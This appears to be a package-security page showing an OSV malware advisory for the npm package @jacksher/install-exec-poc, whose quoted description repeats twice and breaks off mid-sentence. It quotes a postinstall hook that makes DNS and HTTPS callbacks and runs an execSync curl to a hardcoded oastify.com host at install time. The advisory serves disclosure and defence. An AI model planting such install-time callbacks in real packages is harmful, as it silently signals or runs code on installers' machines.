0vulnerabilities
- Critical0 (0.0%)
- High0 (0.0%)
- Medium0 (0.0%)
- Moderate0 (0.0%)
- Low0 (0.0%)
jacksher-install-exec-poc
Ecosystem: npm
Downloads:
- 0CriticalAffects 0 versions
- 0HighAffects 0 versions
- 0MediumAffects 0 versions
- 0ModerateAffects 0 versions
- 0LowAffects 0 versions
Monthly breakdown
- 0 vulnerabilities
- Critical: 0
- High: 0
- Medium: 0
- Moderate: 0
- Low: 0
Vulnerabilities (1)
Known vulnerabilities affecting jacksher-install-exec-poc, based on data from OSV.
| ID | Severity | Summary | Affected versions | Published | Source |
|---|---|---|---|---|---|
| MAL-2026-13972 | Unknown | Malicious code in @jacksher/install-exec-poc (npm)--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423) package.json declares `postinstall: node beacon.js`. On every `npm install`, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to `https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired`, and `child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'})` against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's m |
| OSV (opens in a new tab) |
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423) package.json declares `postinstall: node beacon.js`. On every `npm install`, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to `https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired`, and `child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'})` against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's m